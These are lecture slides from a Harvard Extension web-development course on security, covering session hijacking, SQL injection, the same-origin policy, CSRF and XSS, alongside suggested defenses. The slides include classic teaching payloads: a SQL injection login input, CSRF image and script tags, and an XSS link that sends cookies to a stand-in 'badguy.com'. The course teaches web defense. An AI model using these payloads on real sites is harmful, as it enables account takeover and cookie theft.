# Computer Science E-75 Building Dynamic Websites

Harvard Extension School

http://www.cs75.net/

**Lecture 8: Security** 

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### **Obvious Threats**

- Telnet
- FTP
- HTTP
- MySQL
- **.** . . .

#### suPHP

http://www.suphp.org/



#### Cookies

HTTP/1.x 200 OK

Date: Mon, 08 Nov 2010 01:23:45 GMT

Server: Apache/2

X-Powered-By: PHP/5.3.3

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=5899f546557421d38d74b659e5bf384f; path=/

Set-Cookie: secret=12345

Vary: Accept-Encoding, User-Agent

Content-Encoding: gzip
Content-Length: 261

Keep-Alive: timeout=1, max=100

Connection: Keep-Alive
Content-Type: text/html



# Session Hijacking (scenarios)

- Physical Access
- Packet Sniffing
- Session Fixation
- XSS



# Session Hijacking (defenses)


- Hard-to-guess session keys?
- Rekey session?
- Check IP address?
- Encryption?




#### SSL



# Public-Key Cryptography



# Diffie-Hellman (DLP)



Log In	
Please provide your username and password for cs75.net.	
Username:	
Password:	
keep me logged in until I click <b>log out</b> atop page	
Log In	

```
SELECT uid FROM users
WHERE username='jharvard'
AND password='12345' OR '1' = '1'
```

```
Log In

Please provide your username and password for cs75.net.

Username: jharvard

Password: 12345' OR '1' = '1

keep me logged in until I click log out atop page

Log In
```

```
SELECT uid FROM users
WHERE username='jharvard'
AND password='12345\' OR \'1\' = \'1'
```

## The Same-Origin Policy

"The same origin policy prevents document or script loaded from one origin from getting or setting properties of a document from a different origin. . . Mozilla considers two pages to have the same origin if the protocol, port (if given), and host are the same for both pages. To illustrate, this table gives examples of origin comparisons to the URL http://store.company.com/dir/page.html."

URL	Outcome	Reason
http://store.company.com/dir2/other.html	Success	
http://store.company.com/dir/inner/another.html	Success	
https://store.company.com/secure.html	Failure	Different protocol
http://store.company.com:81/dir/etc.html	Failure	Different port
http://news.company.com/dir/other.html	Failure	Different host

#### The Same-Origin Policy Affects...

- Windows
- Frames
- Embedded Objects
- Cookies
- XmlHttpRequest

#### **Attacks**

- Cross-Site Request Forgery (CSRF/XSRF)
- Cross-Site Scripting (XSS)

• . . .

# CSRF/XSRF (scenario)

- 1. You log into project2.domain.tld.
- 2. You then visit a bad guy's site.
- 3. Bad guy's site contains a link to http://project2.domain.tld/buy.php?symbol=INFX.PK
- 4. You unwittingly buy the penny stock!

## CSRF/XSRF (implementations)

```
<img src="http://project2.domain.tld/buy.php?symbol=INFX.PK" />

<script src="http://project2.domain.tld/buy.php?symbol=INFX.PK"></script>

<iframe src="http://project2.domain.tld/buy.php?symbol=INFX.PK" />

<script type="text/javascript">
    // <[CDATA[
      var img = new Image();
      img.src = "http://project2.domain.tld/buy.php?symbol=INFX.PK";

      // ]]>
      </script>
```

# CSRF/XSRF (defenses)

- Use POST for sensitive actions?
- Use HTTP\_REFERER?
- Append session tokens to URLs?
- Expire sessions quickly?
- CAPTCHAs?
- Prompt user to re-login?

# XSS (scenario)

1. You click a link like

http://vulnerable.com/?foo=<script>document.location='http://badguy.com/log.php?cookie='+document.cookie</script>

or, really,

http://vulnerable.com/?foo=%3Cscript%3Edocument.location%3D'http%3A%2F%2Fbadguy.com%2Flog.php%3Fcookie%3D'%2Bdocument.cookie%3C%2Fscript%3E

- 2. vulnerable.com makes the mistake of writing value of foo to its body
- 3. badguy.com gets your cookies!

# XSS (defenses)

- Don't click links?
- Don't trust user input?
- Encode all user input?

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